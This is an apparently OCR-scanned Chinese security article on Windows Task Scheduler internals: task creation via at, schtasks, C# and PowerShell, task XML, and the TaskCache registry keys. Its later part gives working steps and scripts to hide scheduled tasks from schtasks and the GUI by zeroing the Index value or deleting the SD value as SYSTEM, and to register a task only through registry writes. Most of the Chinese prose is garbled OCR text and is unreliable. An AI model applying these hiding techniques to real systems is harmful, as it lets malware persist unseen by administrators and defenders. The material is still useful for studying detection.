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write by REInject.

TRREEREEEEERITIESERMNIBT NS,

MREERMNBESR, EETIESNOETHES N URMIT I ESHEXRKAERELEN.

HE, AXERN—FRAFOHRIESREFEETTBEUSHER.

WA, LN T ETIESN—T.

KXFITRIES R

MSDNESHIHEHES MM E BHIANRIEMAT, QIFERUWAPIIENG . FAINTEES A, R3I/H
— BT

The Task Scheduler service allows you to perform automated tasks on a chosen
computer. With this service, you can schedule any program to run at a convenient
time for you or when a specific event occurs. The Task Scheduler monitors the time
or event criteria that you choose and then executes the task when those criteria are
met. — MSDN

HHIESBEERSREESNEXEREENNEHMAES, MESUTEAE:

TASK

Triggers Actions
[ [
1 1

Principals (security context) |

Settings |

Registration Information I I Data |

e o o o o o

Triggers: ESAARISEM

Actions: fESIEITRIRMRHITAIENE

Principals: I§EEGTESHWAFFAFARER

Settings: IBEFMESTANEMIZE

Registration Information: SEESAIEME. SIRAZER
Data: H{TESEMERNEIMIER

BEZ(ES A FE MSDN #%l,



https://docs.microsoft.com/en-us/windows/win32/taskschd/about-the-task-scheduler
https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page

TEHZI—TESUENSR.
B AR LITEIEES

At.exe

EA at L EIRITESHAR:

at 11:11 /every:Sunday,Monday,Tuesday "malware.exe"

M ERLMEEIE—MTRES, EERAH. A—. BT 11:11 117 malware.exe,
A BUEE “\\ComputerName” EIEEITEN BT, ESMNSEHEESE MSDN,
THEHXLEETESBEHE “atexe” £EMAITIHES:

o (&12: %SystemRoot%\System32\at.exe

o R: MWIMREERARF

o HE: MEREISZSHNNGLSTHNS, BEEUTITEFHEGSEEEBREN,

o Hfffi:
o at BIBIESXMUMIE: %SystemRoot%\Tasks, X3E At[x].job X, x RFRESH ID
o MESHEXM XML XHEME: %SystemRoot%\System32\Tasks
o MRAEFHERBAN, TJMHE “NARFMRS

,._,\/M|crosoft/W|ndows/TaskSCheduIer/Operat|onaI” EHHE.

schtasks.exe

“at.exe” 7 windows8 FHAMIFEA T, ZEMNRLRMZEM “schtasks.exe” BIEITIIES, ZWm<TSH
ERWTF:

SCHTASKS /Create [/S system [/U username [/P [password]]]]
[/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
[/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] [/HRESULT] [/7]
schtasks Lt at ENRA, RETRZEAEXEISHNBTENSH.
EXNITRIESHER, BMTEEXNINENITNESHS, MEEXNSHE “TR.

—RIERBEERITNESHAR G S BRXHEF:

"c:\Windows\System32\schtasks.exe" /Create /SC ONCE /TN KglN9I99 /TR "cmd /c \"start /m
in C:\ProgramData\KgIN9I99.bat\"" /ST 20:21

R LHPERT /TN IBEAES BN “KgIN0I99”, “/TR” SEIEEZTHIIER®S, “/ST” BET


https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-xp/bb490866(v=technet.10)

B1TAI[E], “/SC” {EEETAH, XRAIMNEY “/ED” SHIEEESEKILBRE,
BEZ AT “schtasks.exe” W%, £2& MSDN
THEHXEEEREESIEIHIE “svchosts.exe” £ RAITRIES:

e H&12: %SystemRoot%\System32\schtasks.exe
o R: EEBAF. IREETEESNAFPETES, FEZRFPHNKFZ2HZBEER.
o HiE:

o #EIFM schtasks R HEREE, BEEENCEES

o HE “/TR” ZHME, FTHITXAFGBITEEREEN
o Hifffi:

o FMESRHEXM XML XHAIE: %SystemRoot%\System32\Tasks

o RIS HERBAN, AIMHE “NARFMRSAH

& /Microsoft/Windows/TaskScheduler/Operational” E4HE,

—BESMR, BREHERS “%SystemRoot%\System32\Tasks” 4 Fi— % Fi%{T SRR
XML Xth, B&THENESES.

FEIEME, BT “taskschd.msc” BIRMESAREIEMIEE “Task Scheduler” BRI
“svchost.exe” HIZIRE .,

HittBIB T RIESHNAR

schtasks.exe ¢ at.exe fp < 6l3#

XELEREENLIZES:
(HBINIR)

schtasks.exe /create /tn test /tr "calc.exe" /sc minute /mo 1 /f
schtasks.exe /run /tn test

schtasks.exe /end /tn test

schtasks.exe /delete /tn test /f

schtasks /create /xml c:\test\l.xml /tn test2
schtasks.exe /run /tn test2

schtasks.exe /end /tn test2

schtasks.exe /delete /tn test2 /f

schtasks.exe /create /tn test /tr "cmd.exe" /sc minute /mo 1 /ru "SYSTEM" /rl HIGHEST /
f

schtasks.exe /run /tn test

schtasks.exe /end /tn test

schtasks.exe /delete /tn test /f


https://docs.microsoft.com/en-us/windows/win32/taskschd/schtasks

at 00:00 cmd.exe
at {taskid} /delete /yes

at 28 schtasks @< K, LEAIRINERIZHRT—IR.

EHZ 52 | taskschd.msc AR Gl

win+r B&) taskschd.msc

File Action View Help

e z[E BE

CETTTEIN| p—
Create Basic Task...
Create Task... :
Import Task...

Display All Running Tasks

Enable All Tasks History

New Folder...

View [

Refresh

=TT TT=T

Help

mmciEFBHERERENAEEANR, NEERF FIMUEIZSRAES:



Mandatory Label\High Mandatory Level Integrity
NT AUTHORITY\Authenticated Users Mandatory
NT AUTHORITY\INTERACTIVE Mandatory
NT AUTHORITY\LogonSessionId_0_ 239735 Mandatory
NT AUTHORITY\NTLM Authentication Mandatory

B ' mmc.exe:7124 Properties — O
.NET Assemblies .NET Performance Strings
Image Performance Performance Graph Disk and Network
GPU Graph Threads TCP/IP Security Environment
User: ET_EET .
SID: S-1-5-21-700021777-1075774025-667928839-1000
Session: 1 Logon Session: 3ac4f
Virtualized: No Protected: No
Group - Flags
BUILTIN\Administrators Owner
BUILTIN\Performance Log Users Mandatory
BUILTIN\Users Mandatory
CONSOLE LOGON Mandatory
Everyone Mandatory
LOCAL Mandatory

¥ Task Scheduler Library , /% —> Create Task...
s RE, EPMERERNE:

NT AUTHORITY\This Organization Mandatory
NT AUTHORITY\A<Hhik Mandatory
NT AUTHORITY\AHhik F I FL A4k Mandatory
\None Mandatory
[
Group SID: n/a
Privilege Flags A
SeBackupPrivilege Disabled
SeChangeNotifyPrivilege Default Enabled
SeCreateGlobalPrivilege Default Enabled
SeCreatePagefilePrivilege Disabled
SeCreateSymbolicLinkPrivilege Disabled
SeDebugPrivilege Disabled
SeDelegateSessionUserImpersonatePrivilege Disabled
SeImpersonatePrivilege Default Enabled
SelncreaseBasePriorityPrivilege Disabled
SelncreaseQuotaPrivilege Disabled v
Permissions
OK Cancel




©) Create Task -

General l Triggers I Actions I Conditions l Settings ]

Name: | I

Location:  \

Author:

Description: |

Security options

When running the task, use the following user account:

Change User or Group...

® Run only when user is logged on
O Run whether user is logged on or not

Do not store password. The task will only have access to local computer resources.

[] Run with highest privileges

RBAACIEES

RBBRLEHEM  c:\windows\system32\taskschd.d1l 12K COM RRERE:
GUID: OF87369F-A4E5-4CFC-BD3E-73E6154572DD

R E: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID{0f87369f-ade5-4cfc-bd3e-
73e6154572dd}

0f87369f-a4... |
CLSID Supported Interfaces Type Library
Name: ’TaskScheduIer class
CLSID: ’OF87369F-A4E5—40FC-BD3E-73E61 54572DD
Server Type: ’InProcServer32
Server: ’C:\Windows\System32\taskschd.dII
Al i IntA

iZ COM AHFZ4F Elevation, ToiEBRIEN,
TEZ2MEIZITIMESHIAIBRSE:
csharp

ctt TIMAIIE, RTHME, 518 TaskScheduler TH #HITIHXIMESHIBIE:

using System;


https://github.com/dahall/TaskScheduler

using System.Security.Principal;

using System.Security.AccessControl;
using Microsoft.Win32.TaskScheduler;
using System.Text.RegularExpressions;

namespace SchtaskHidden

{
class Program
{
static void Main(string[] args)
{
//TaskCollection tt = TaskService.Instance.RootFolder.GetTasks(new Regex("t
est"));
//foreach(Task ti in tt)
//{
// Console.WriteLine(ti.Name);
//}

//System.Environment.Exit(0);

TaskDefinition td = TaskService.Instance.NewTask();
td.RegistrationInfo.Description = "do something";
//td.Principal.RunLevel = TaskRunLevel.Highest;
//td.Principal.LogonType = TaskLogonType.ServiceAccount;
//td.Principal.UserId = "SYSTEM";

TimeTrigger dt = new TimeTrigger(Q);
dt.StartBoundary = DateTime.Now;
dt.Repetition.Interval = TimeSpan.FromMinutes(l);

td.Triggers.Add(dt);

td.Actions.Add("cmd.exe", "/c \"calc.exe\"", null);

Task t = TaskService.Instance.RootFolder.RegisterTaskDefinition(path: "test
xxx", definition: td, TaskCreation.CreateOrUpdate, null, null, 0);

Console.WriteLine("success!!");

//TaskSecurity ts = new TaskSecurity(t);

//ts.RemoveAccessRuleAll(new TaskAccessRule(new SecurityIdentifier(WellKnow
nSidType.ServiceSid, null), TaskRights.Read | TaskRights.Write | TaskRights.ReadAttribu
tes, AccessControlType.Allow));

//t.SetAccessControl(ts);

//Console.WriteLine("success!!");

powershell

$TaskDescr = "test task"

$Author = "thin@"

$TaskName = "test"
$TaskStartTime = [datetime]: :Now



$TaskCommand = "cmd.exe"

$TaskArg = "/c calc.exe"

$UserAcct = "$env:userdomain\$env:username"
# $UserAcct = "SYSTEM"

$ScheduleObject = new-object -ComObject("Schedule.Service")
# connect to the local machine.
$ScheduleObject.Connect("localhost™)

$rootFolder = $ScheduleObject.GetFolder("\")

$TaskDefinition = $ScheduleObject.NewTask(@)
$TaskDefinition.RegistrationInfo.Description = "$TaskDescr"
$TaskDefinition.RegistrationInfo.Author = "$Author"
#$TaskDefinition.Principal.RunLevel = 1
$TaskDefinition.Settings.Enabled = $true
$TaskDefinition.Settings.AllowDemandStart = $true
$TaskDefinition.Settings.DisallowStartIfOnBatteries = $false
$TaskDefinition.Settings.ExecutionTimeLimit = "PT@S" # See Note Below

$triggers = $TaskDefinition.Triggers

$trigger = $triggers.Create(l) # Creates a "time-based" trigger, 8: system startup
$trigger.StartBoundary = $TaskStartTime.ToString("yyyy-MM-dd'T'HH:mm:ss")
$trigger.Repetition.Interval = 1

$trigger.Enabled = $true

$Action = $TaskDefinition.Actions.Create(0)
$action.Path = "$TaskCommand"

$action.Arguments = "$TaskArg"

$rootFolder.RegisterTaskDefinition($TaskName,$TaskDefinition,6,$UserAcct,$null,3)

powershell AJLATRAX A/, BEHHFR cmdlet:

$taskname = "test"

$cmd = "cmd.exe"

$cmdargs = "/c calc.exe"
$username = "$env:username"

#$username = "SYSTEM"
$taskdescription = "test task"

$action = New-ScheduledTaskAction -Execute $cmd -Argument $cmdargs

$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeS
pan -minutes 1)

$settings = New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Minutes @)
-RestartCount 3 -RestartInterval (New-TimeSpan -Minutes 1)

Register-ScheduledTask -Action $action -Trigger $trigger -TaskName $taskname -Descripti
on $taskdescription -Settings $settings -User $username -RunLevel 1 # 1 for highest, 0
for low

MIBRA<: Unregister-ScheduledTask -TaskName test —Confirm:$false



s

IREESHIEANRH#TE (svchost.exe/taskeng.exe/taskhostw.exe)

BT RIESEXRSE: “Task Scheduler”, ZARFEER “SVCHOST.exe” B “netsves” H#1THE

"
g,

Task Scheduler BIEM (At EH1) X

Bl BR  KRE  KEXR

IRSSEFR: Scheduld|
BB Task Scheduler
Rk FERPATLELTHEN EEETTIBIES. RS A

EFEEZA™ Windows RFEXRR(ESS. WMRIIRSZHIF

IFREAEAR LI AR 7T Rlshnial=/= hnER ke v

ATHTIHRIER TR
C:\Windows\system32\svchost.exe -k netsvcs -p
Bz
RS EEIE T
25(S) {ELE(T) HiE(P) S (R)

SIS SRS, (RATiEERMERRIEISEL.

HHE BiH RZFA(A)

BT AR EER “svchost.exe” HIZMESITH: “svchost.exe —k netsvcs —p —s Schedule”, 7
Windows 10.17703LA T AJBEB A E “~s Schedule” S},



taskeng.exe

EIBRFRITIESHHZIREINFZIXEEFH: svchost.exe —> taskeng.exe —>
[SpecialTaskProcess], #la0:

] svehost exe (872) C\Windows\system32\svchost exe  C:\Windows \system32\svchost exe  netsvcs
¥ 1 taskeng exe (4856) C\Windows'system32taskeng exe  taskeng exe {DEDCDOATABS6-4D81-A233-DF022BAB0CE) S-1.5-19AUTORITE NT\SERVICE LOCAL Service:
calc e (5584) C\Windows'\System32\caic exe C:\Windows\System32\caic exe

“taskeng.exe” HHESEIBEWT:

taskeng.exe {GUID} [User SID]:[Domain]\[User Name]:[Options]

RUERT, FEERE (GUID} — NS5, Options SHARESITR—EEMES, FMNRES, ME—
MESBITESINRERX T, Options AT RE:

Interactive:Highest[1]

FIMEIBN RSP NEE# mxmt

TEEHTE, Bl “taskeng.exe” RUHIEN, TRIRHEN
“svchost.exe —k netsves”, METIT

PRESHNAHE, EBEHIEFHERETEHE.

svchost.exe -k netsvcs -p

M Windows 10.1511 iRASFFiE, TEBH “taskeng.exe” T, HIRARLGHIKARZEF, ESHERIEE
1TTEIEE “Task Scheduler” iR H) “svchost.exe” 2T :

=) '@ svchost.exe (1156) C:\Windows\system32\svchost .exe k netsvcs p -s Schedule
# taskhostw.exe (3368) |taskhostw.exe {222A245B-E637-4AES-A93F-A5SCA119A75E)}
¥ taskhostw.exe (5180) |taskhostw.exe
calc.exe (9684) C:\Windows\System32\calc.exe

TS ARAZR S, HATFILAHEE “svchost.exe —k netsves® HIEH FHERME LS 5E2% .

taskhostw.exe

ELENER, TJIMEBEEEE, “svchost.exe —k netsves® FIAE—1 8N “taskhostw.exe® B
2.

1£ Windows 7 £iZi#f2®& 7 taskhost.exe,
7£ Windows 8 £izi##2& K  taskhostex.exe,
IZHFEREAR “dllhost.exe® § “svchost.exe® 18, #2ZFI— DLL 1EEHIERA.

BITIER ”%SystemRoot%\System32\Tasks“ X#, HATEEHREI—LEESHMAIERE "Exec”,
mE “ComHandler”,



BAME — AR BN RNES XML, RET —EFRENFE.

XEEANIFIA “schtasks.exe” < BIEMES XML:

<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Actions Context="Author">
<Exec>
<Command>"C:\Program Files (x86)\IObit\Advanced SystemCare\ASC.exe"</Command>
<Arguments>/SkipUac</Arguments>
</Exec>
</Actions>
</Task>

XTRES “.NET Framework” BIHRIES XML WS, MRTET NET HEZRAINE
“%SystemRoot%\System32\Tasks\Microsoft\Windows.NET Framework” B& T Z):

<Task version="1.6" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Actions Context="Author">
<ComHandler>
<ClassId>{84FOFAE1-C27B-4F6F-807B-28CF6F96287D}</ClassId>
<Data> </Data>
</ComHandler>
</Actions>
</Task>

Frhftk “.NET Framework” {£5%5, Z{E5EEA “ngentasklauncher.dll”, &id ProcExp.exe Wiz FEI
RIHHIEN:

‘:i’ svchost. exe 1164C: \Windows\system32\svchost. exe —k netsvcs —p -s Schedule
‘_‘ﬁitaskhostw. exe [ 5324 taskhostw. exe /RuntimeWide ]
‘_uilngentask. exe 10200 "C: \\Vlndows\V[lcrosoft \ET\Frame\vork\v4 0. 30319\NGenTask. exe” /RuntimeWide /StopEvent:420

AILGEEZ “taskhostw.exe” BIZ#L “/RuntimeWide” 1 xml 1 “<Data>” {FEIETEMN—H¥,
$(Arg0) S
TEVE “taskhostw.exe” HEMATEF, KM TEMNGLTSEC:

taskhosw.exe Install $(Arg@)

XAPRAETE MSDN T NA

Some action properties that are of type BSTR can contain (A'r‘gO),(Arg7), ey
$(Arg32) variables in their string values. These variables are replaced with the values
that are specified in the params parameter of the IRegisteredTask::Run and
IRegisteredTask::RunEx methods or are contained within the event trigger for the


https://docs.microsoft.com/en-us/windows/win32/taskschd/task-actions

task.

HubeTEn, $(Arg0) XLESHEEBET “IRegisteredTask:Run[Ex]” #EOBTESHNEISIEEN., E—L&
Windows BRIABESHE -

\Microsoft\Windows\Workplace Join\Automatic—-Device-Join {£5:

<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Actions Context="LocalSystem">
<Exec>
<Command>%SystemRoot¥%\System32\dsregcmd. exe</Command>
<Arguments>$(Arg@) $(Argl) $(Arg2)</Arguments>
</Exec>
</Actions>
</Task>

\Microsoft\Windows\Maps\MapsToastTask {£55:

<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Actions Context="Users">
<ComHandler>
<ClassId>{9885AEF2-BDIF-41EQ-B15E-B3141395E803}</ClassId>
<Data>
</Data>
</ComHandler>
</Actions>
</Task>

& ¥ MSDN RN, ZBEA MBI AT APl #1TE%:

e |TaskHandler::Start

e |RegisteredTask::Run

e |RegisteredTask::RunEx

e |ExecAction::put_Arguments
e |Task::SetParameters

IHIESEXREM R

ERBSHES, REMNTIESEEPEINTRITNESERPHONT, BHXEET
taskschd.msc 3 schtasks /query EiEIEEES, FHBIHE %SystemRoot%\System32\Tasks
BRENIEKEE.

ENRF LRI, BIEITIMES “test” B, TICRFEMERES xml X, BEMFRES xml X, #BFE
EREIMZESNIET. FEMNIMRISHTRR, KNECIEESE
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Schedule” HIMZEx,


https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-itaskhandler-start
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-iregisteredtask-run
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-iregisteredtask-runex
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-iexecaction-put_arguments
https://docs.microsoft.com/en-us/windows/win32/api/mstask/nf-mstask-itask-setparameters

TEREM winreg-kb EHFEIZEMERSUHER:

£ XP B, iHESEMERER N “HKEY_LOCAL_MACHINE\Software\Microsoft\SchedulingAgent”
Win7 AEEREZMH, T “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Schedule”, FIif:

B i pu

Aliases 1Zfi#AtServiceAccount, ERIANT AUTHORITY\System

CompatibilityAdapter

Configuration

CredWom

Handlers

Handshake

TaskCache FRESTUEE

FETE R T ERETN “%SystemRoot%\System32\Tasks” Tz4b, B
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache” HZ7E:

Schedule\TaskCache :

B fii ik
Boot

Logon

Plain

Plain

Tree

TaskCache\Tree FIIAESZ BIRaGR, 8 MESTH Value EHMWNT:

Al KR 30

Id REG_SZ {GuID}, ESMMKIguUIdHES

Index REG_DWORD  —R&fE$SH3, HAbERA

SD REG_BINARY  ZESHREHERER, “HEIE, FHARA

1 Schedule\TaskCache\Tasks\%GUID% XM —MES, HiXL Value :

E% o E- il ik
Actions REG_BINARY  Zi##l{E, shfEEE, HEIEE UNICODE #2:{ COMMAND 8


https://github.com/libyal/winreg-kb/blob/master/documentation/Task%20Scheduler%20Keys.asciidoc

Date REG_SZ ESEIZRE?
Description REG_SzZ [ES=E1::%

Dynamicinfo ~ REG_BINARY  Win7 IXF 28 fi, Win8 Itk 32 fif

Hash REG_BINARY SHA-256 or CRC32, &{LUXfR xm| X4 Hash
Path REG_SzZ £ TaskCache\Tree FHIFESIREZ

Schema REG_DWORD

Triggers REG_BINARY  Zi#l, fi&sER

URI REG_SZ EEEBRE

MRZE at wLEIEITRIES, MNAFMRAERE Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree\At1,

iHIESHR AR (SD)

HXHESEY SD BB A TMRTNMIE: “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree{TaskName}\SD”, JAEREEM T HEIEH:

IR =Y\ =n 2E
2b](2RiA) REG_SZ FERIRE)
ab)id REG_SZ {B317A58E-41C4-4D1E-84D8-BCD7D83E8804}
2]Index REG_DWORD 0x00000003 (3)
E)sp REG BINARY 01 00 04 80 78 00 00 00 88 00 00 00 00 00 00 00 14 00 00 00 02 00 64 0
RIETHHIEE X
EHIERTR(N):
‘SD
HIEHTR(V):
00000000 | o1 00 04 80 78 00 00 00 Coe e e X e A
00000008 88 00 00 00 00 00 00 00 e e e e e e
00000010 14 00 00 00 02 00 64 00 O «

00000018 04 00 00 00 00 10 18 00
00000020 9F o1 1F 00 o1 02 00 00
00000028 00 00 00 05 20 00 00 00
00000030 20 02 00 00 00 10 14 00
00000038 9F o1 1F 00 o1 o1 00 00
00000040 00 00 00 05 12 00 00 00 e e e e
00000048 00 10 18 00 FF o1 1F 00 R
00000050 o1 02 00 00 00 00 00 05
00000058 20 00 00 00 20 02 00 00

00000060 00 00 14 00 89 00 12 00
lnonoonas o1 o1 oo oo oo o0 1) ox

E—RXRTRBwindows REHXEF, THRIEIEENRNZEHAEETNAZIRFABN, #k



BE—T, TESHNREMZEEATNETNEREHAES (SD) X,

Windows BRI TH schtasks.exe A% sd MWiRE, EE®T APl LI, @I EE MSDN HAR LM
3FF TASK #9 SDDL iZEAE, 1% APl FI&K:

e |Registrationinfo::put_SecurityDescriptor
e |TaskFolder::CreateFolder

e |TaskFolder::CreateFolder

e |TaskFolder::RegisterTaskDefinition

e |TaskFolder::SetSecurityDescriptor

e |RegisteredTask::SetSecurityDescriptor

BITXLE AP FIIASEHIRE TASK B9 SD 58, HEIRM(EAIIR TaskScheduler #TESHLIE, ER
EREEHEL:

using System;

using System.Security.Principal;
using System.Security.AccessControl;
using Microsoft.Win32.TaskScheduler;

namespace SchTaskOpt
{
class Program
{
static void Main(string[] args)
{
TaskDefinition td = TaskService.Instance.NewTask();
td.RegistrationInfo.Description = "do something";
td.Principal.RunLevel = TaskRunLevel.Highest;
td.Principal.LogonType = TaskLogonType.ServiceAccount;
td.Principal.UserId = "SYSTEM";
td.RegistrationInfo.SecurityDescriptorSddlForm = @"D:P(D;;DCLCWPDTSD; ; ;IUD(
A; ; CCLCSWLOCRRC; ; ; IUD(A; ; CCLCSWLOCRRC; ; 5 SUD(A; ; CCLCSWRPWPDTLOCRRC; 5 ;SYD";

DailyTrigger dt = new DailyTrigger(Q);
dt.StartBoundary = DateTime.Now;

dt.DaysInterval = 1;

dt.Repetition.Interval = TimeSpan.FromMinutes(1);

//td.Triggers.Add(dt);

td.Actions.Add("notepad", null, null);

Task t = TaskService.Instance.RootFolder.RegisterTaskDefinition(path:"test
2", definition:td, TaskCreation.CreateOrUpdate, null, null, TaskLogonType.ServiceAccoun
t);

Console.WriteLine("success!!");

//TaskSecurity ts = new TaskSecurity(t);

//ts.AddAccessRule(new TaskAccessRule(new SecurityIdentifier(WellKnownSidTy
pe.AuthenticatedUserSid, null), TaskRights.Read | TaskRights.Write | TaskRights.ReadAtt
ributes, AccessControlType.Deny));

//t.SetAccessControl(ts);


https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-iregistrationinfo-put_securitydescriptor
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-itaskfolder-createfolder
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-itaskfolder-registertask
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-itaskfolder-registertaskdefinition
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-itaskfolder-setsecuritydescriptor
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nf-taskschd-iregisteredtask-setsecuritydescriptor
https://github.com/dahall/TaskScheduler

Console.WritelLine("success!!™);

BRZENERET, TIEEBIEEAIBITER SYSTEM, AR ESHIERIGE:

PS C:\source\SchTaskOpt\bin\> .\SchTaskOpt.exe

REWENFE:  System.Runtime.InteropServices.COMException: J&E3¥H HRESULT:0xD0000061
£ Microsoft.Win32.TaskScheduler.V2Interop.ITaskFolder.RegisterTaskDefinition(String
Path, ITaskDefinition pDefinition, Int32 flags, Object UserId, Object password, TaskLog
onType LogonType, Object sddl)
£ Microsoft.Win32.TaskScheduler.TaskFolder.RegisterTaskDefinition(String path, TaskD
efinition definition, TaskCreation createType, String userId, String password, TaskLogo
nType logonType, String sddl)

T EOFGRE—TIE, FEBFRMNEIMRDPEMESEMNEMN SD BAABHXE, XMHEREMEL
thiFSHE LR,

IHRESRBFERR
WE—T, MEMBIRESOFAEEOHARAEY, RANFHBLREREOH AT ORI E
5, SIRHWLMERT RO TRERS, FEARSEH— LS RENRE S0 T,

B RESRENFEHITRANRR, SIAENN, KMHMERBIESHAR:

FFRRRRE

MRBEREF  —MTRIES, TLUEIIEH Schedule\TaskCache\Tree HISIR{EEH Index {8, —HRIE
MTHE 3, HSEUT:

e [B5 SYSTEM R cmd: psexec64 -i —-s cmd.exe

o H1T regedit A SYSTEM WREBEhEMRFREEES

o 182X
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree

TXRESE Index BH o
o MIBR %SystemRoot%\System32\Tasks TEZXIMEI XML X4

=¥
o FJA taskschd.msc. schtasks /query EZRFAPIERHNFAEESS, HMEAINZES
e

o FHiETREE, WRIMBIZESHREE, FUET schtasks /query /tn {TaskName} &Z|


https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/

o LIERENNESERESN, HMFE SYSTEM R (FEwin10iR, ERAIFERXTER, F
i)

3z A 51

PS C:\> schtasks.exe /create /tn test /tr "calc.exe" /sc minute /mo 1 /ru "administrato
pn

FRIN: BRIHBIEEITRIfESS "test",
PS C:\> schtasks.exe /query /tn test

X N\

54 TIRIE{THT 8] [
test 2021/1/11 14:54:00 bje2
PS C:\> schtasks.exe /querylfindstr test

test 2021/1/11 14:55:00 ??

PS C:\> Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Sche
dule\TaskCache\Tree\test" -Name "Index" -Value 0

PS C:\> schtasks.exe /querylfindstr test

PS C:\> schtasks.exe /delete /tn test /f

BIh: TRIES "test" #ALINMIER.

PS C:\>

[REHRR

Index B9E XAETH, XMERAHIRIT,

SRR

81, TANBIEEES SD XM, ARWHIESD, BAM T EMRFH SD 11, KIMFLH
AAABETINESER, REEERENEN:

e 25 SYSTEM R cmd: psexec64 -i —-s cmd.exe
H4T regedit L\ SYSTEM M RE s EMR SIS
IR
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName}\SD

MR  %SystemRoots\System32\Tasks TEZITRIEI XML X4

e
o TLAMAR (FRTEMR) , WETRZEIS, BHIIKE
R :

o TRERMMNESEESN, HHFE SYSTEM R (FEwin10UiE, MARFIFEGXTER, il
i)

ik A Y



TEEMXAA powershell i3 (FEA, EESEN_HFATFTERdump—TERCIENES)

$taskname = "test"
$uuid = "{3EC79FBB-0533-4356-89B3-8CE2003F1CD8}"
$cmd = "calc.exe"

New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\T
asks\" -Name $uuid

New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Tas
kCache\Tasks\$uuid\" -Name "Path" -Value "\$taskname" -Type String -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Tas
kCache\Tasks\$uuid\" -Name "URI" -Value "\$taskname" -Type String -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Tas
kCache\Tasks\$uuid\" -Name "Schema" -Value 0x00010002 -Type DWORD -Force

$triggerstring = "FwWAAAAAAAAABBWEAAAATAAAI/NDz5dYBAACBAAAACAD//////////zghQUNISEhI38PL8
OhISEgOAAAASENISEEAdQBOAGgAbWBYAAAASEGAAAAASENISABISENISERIAERISERISEgBAAAASENISBWAAABT
SEhTIAQUAAAAAAAUVAAAAEXyYSKUKCHOAHY c8n6AMAAENISEgSAAAASERISFQARQBDAEgATABIAFUAMQAWADUANWB
CcAHQAZQBjAGgAbABpAHUAAAAAAAAASENISCWAAABISERIWATAABAOAACAQAMA/ // / /WCAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAABISENI3dOAAAAAAAABBWEAAAATAAAT/NDz5dYBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAABAAAAAAAAAP/ / / / BAAAAAAAAAAAAAAAAAACVLAQAAAAAAAAB20QAAAAAAAENISEg=""
$triggerbytes = [System.Convert]::FromBase64String($triggerstring)

$actionbytes = [byte[]](0x03,0x00,0x0c,0x00,0x00,0x00,0x41,0x00,0x75,0x00,0x74,0x00 ,0x6
8,0x00,0x6f ,0x00,0x72,0x00,0x66,0x66,0x00 ,0x00 ,0x00 ,0x00 ,0x10 ,0x00 ,0x00,0x00) + [System
.Text.Encoding]: :Unicode.GetBytes($cmd) + [byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0
x00,0x00 ,0x00)

New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Tas
kCache\Tasks\$uuid\" -Name "Triggers" -Value $triggerbytes -Type binary -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Tas
kCache\Tasks\$uuid\" -Name "Actions" -Value $actionbytes -Type binary -Force

New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\T
ree" -Name $taskname -Force

New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Tas
kCache\Tree\$taskname" -Name "Id" -Value "{3EC79FBB-0533-4356-89B3-8CE2003F1CD8}" -Type
string -Force

New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Tas

kCache\Tree\$taskname" -Name "Index" -Value @x3 -Type DWORD -Force

#Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCac
